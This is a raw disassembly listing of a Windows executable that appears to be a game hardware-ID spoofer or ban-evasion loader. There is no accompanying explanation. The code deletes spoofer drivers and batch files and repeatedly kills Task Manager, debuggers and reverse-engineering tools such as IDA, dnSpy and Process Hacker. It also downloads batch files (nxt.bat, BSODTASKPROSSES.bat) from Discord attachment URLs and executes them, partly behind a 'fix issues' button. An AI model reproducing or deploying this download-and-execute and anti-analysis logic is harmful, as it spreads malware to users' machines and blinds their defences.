lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemd.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_checker.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemWindows_Activator.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_MAC_Adress_Changer_protected.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_NXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemUNBANALL.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.cmd
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSPOOFERMAC.exe
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1144681915509641337_nxt.bat
lea rcx, [rsp + 0xcf50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_Mail_nxt.bat
lea rcx, [rsp + 0xcf30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcf30]
call fcn.14005d8d0
mov qword [rsp + 0x1c40], rax
lea rcx, [rsp + 0xcf50]
call fcn.14005d8d0
mov qword [rsp + 0x1c48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1c40]
mov rdx, qword [rsp + 0x1c48]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesWindows_Mail_nxt.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcf10]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcef0]
call fcn.14005d9d0
lea rcx, [rsp + 0xcef0]
call fcn.14005d8d0
mov qword [rsp + 0x1c50], rax
lea rcx, [rsp + 0xcf10]
call fcn.14005d8d0
mov qword [rsp + 0x1c58], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1c50]
mov rdx, qword [rsp + 0x1c58]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
lea rcx, [rsp + 0xcef0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcf10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcf30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcf50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcf70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcf90]
call fcn.14005d8e0
jmp 0x1400aa1fd
mov r8b, 1
mov edx, 0x61
lea rcx, str.____Domain_Fix
call fcn.14006be90
call fcn.1400f6410
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ceac]
lea rcx, [rsp + 0x1c60]
call fcn.14005eef0
lea rdx, [rsp + 0x1c60]
lea rcx, str.Click_Me_To_Fix_Any_Issues_With_Loader
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400a9de9
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
